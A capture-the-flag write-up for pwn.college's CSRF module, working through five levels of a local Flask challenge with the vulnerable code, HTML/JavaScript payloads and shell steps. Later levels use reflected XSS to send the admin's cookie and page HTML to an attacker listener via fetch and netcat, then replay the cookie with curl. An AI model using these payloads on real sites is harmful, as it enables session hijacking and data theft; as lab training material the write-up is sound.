PwnCollege - CSRF

CSRF 1

In this level, the application has a /publish route that uses a GET request to change the state of the application (publishing drafts). Since GET requests should ideally be idempotent and not change state, this is a classic CSRF vulnerability.

Analysis

The server-side code for the /publish route:

1
2
3
4
5
6
7
8
@app.route("/publish", methods=["GET"])
def challenge_publish():
if "username" not in flask.session:
flask.abort(403, "Log in first!")

# Vulnerability: State change via GET request with no CSRF protection
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])
return flask.redirect("/")

Exploit

We can host a simple HTML page that redirects the victim (the admin) to the /publish endpoint. When the admin visits our page, their browser will automatically include their session cookies when following the redirect to challenge.localhost.

Payload (index.html):

1
2
3
<script>
window.location.href = "http://challenge.localhost:80/publish";
</script>

Execution:

  1. Host the payload: python3 -m http.server 1337
  2. Trigger the victim to visit your server: /challenge/victim
  3. The admin’s drafts are now published. Fetch the flag:
    1
    2
    curl -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337"
    curl "http://challenge.localhost:80/"

CSRF Level 2: POST-based CSRF

The /publish route now requires a POST request. While this prevents simple link-based triggers, it doesn’t stop CSRF if there are no CSRF tokens or origin checks.

Exploit

We use an HTML form that automatically submits itself via JavaScript to perform the POST request on behalf of the admin.

Payload (index.html):

1
2
3
4
5
6
7
8
<form
id="csrf-form"
action="http://challenge.localhost:80/publish"
method="POST"
></form>
<script>
document.getElementById("csrf-form").submit();
</script>

Execution:

  1. Host the payload on port 1337.
  2. Run /challenge/victim.
  3. Login and check the published posts to find the flag.

CSRF Level 3: Reflected XSS

This level introduces a reflected XSS vulnerability in the /ephemeral route. The msg parameter is rendered directly into the page without sanitization.

Analysis

1
2
3
4
5
6
7
8
9
@app.route("/ephemeral", methods=["GET"])
def challenge_ephemeral():
return f"""
<html><body>
<h1>You have received an ephemeral message!</h1>
The message: {flask.request.args.get("msg", "(none)")}
<hr><form>Craft an ephemeral message:<input type=text name=msg action=/ephemeral><input type=submit value=Submit></form>
</body></html>
"""

Exploit

We can inject a script tag through the msg parameter.

Payload:

1
2
3
4
5
6
7
<script>
let xss_payload = "<script>alert('PWNED')</s" + "cript>";
let target_url =
"http://challenge.localhost:80/ephemeral?msg=" +
encodeURIComponent(xss_payload);
window.location.href = target_url;
</script>

Building on the previous level, we use the XSS vulnerability to steal the admin’s session cookie.

Exploit

We inject a script that reads document.cookie and sends it to our attacker-controlled listener.

Payload (index.html):

1
2
3
4
5
6
7
8
9
<script>
let xss_payload =
"<script>fetch('http://hacker.localhost:1338/?stolen_cookie=' + encodeURIComponent(document.cookie));</s" +
"cript>";
let target_url =
"http://challenge.localhost:80/ephemeral?msg=" +
encodeURIComponent(xss_payload);
window.location.href = target_url;
</script>

Execution:

  1. Listen for the incoming cookie: nc -l -p 1338
  2. Host the payload and trigger the victim.
  3. Once the cookie is captured (e.g., auth=admin|...), use it to access the flag:
    1
    curl --cookie "auth=admin|..." "http://challenge.localhost:80/"

CSRF Level 5: Data Exfiltration via XSS

In this final level, we use XSS to fetch the content of the admin’s home page (where the flag is displayed) and send the entire HTML back to our listener.

Exploit

The payload performs an internal fetch('/') while the admin is authenticated, then POSTs the response body to the attacker.

Payload (index.html):

1
2
3
4
5
6
7
8
9
<script>
let stage2_xss =
"<script>fetch('/').then(res => res.text()).then(html => fetch('http://hacker.localhost:1338', {method: 'POST', body: html}))</s" +
"cript>";
let target_url =
"http://challenge.localhost:80/ephemeral?msg=" +
encodeURIComponent(stage2_xss);
window.location.href = target_url;
</script>

Execution:

  1. Listen for the POST data: nc -l -p 1338
  2. Host the payload and trigger the victim.
  3. The flag will be contained within the HTML received by Netcat.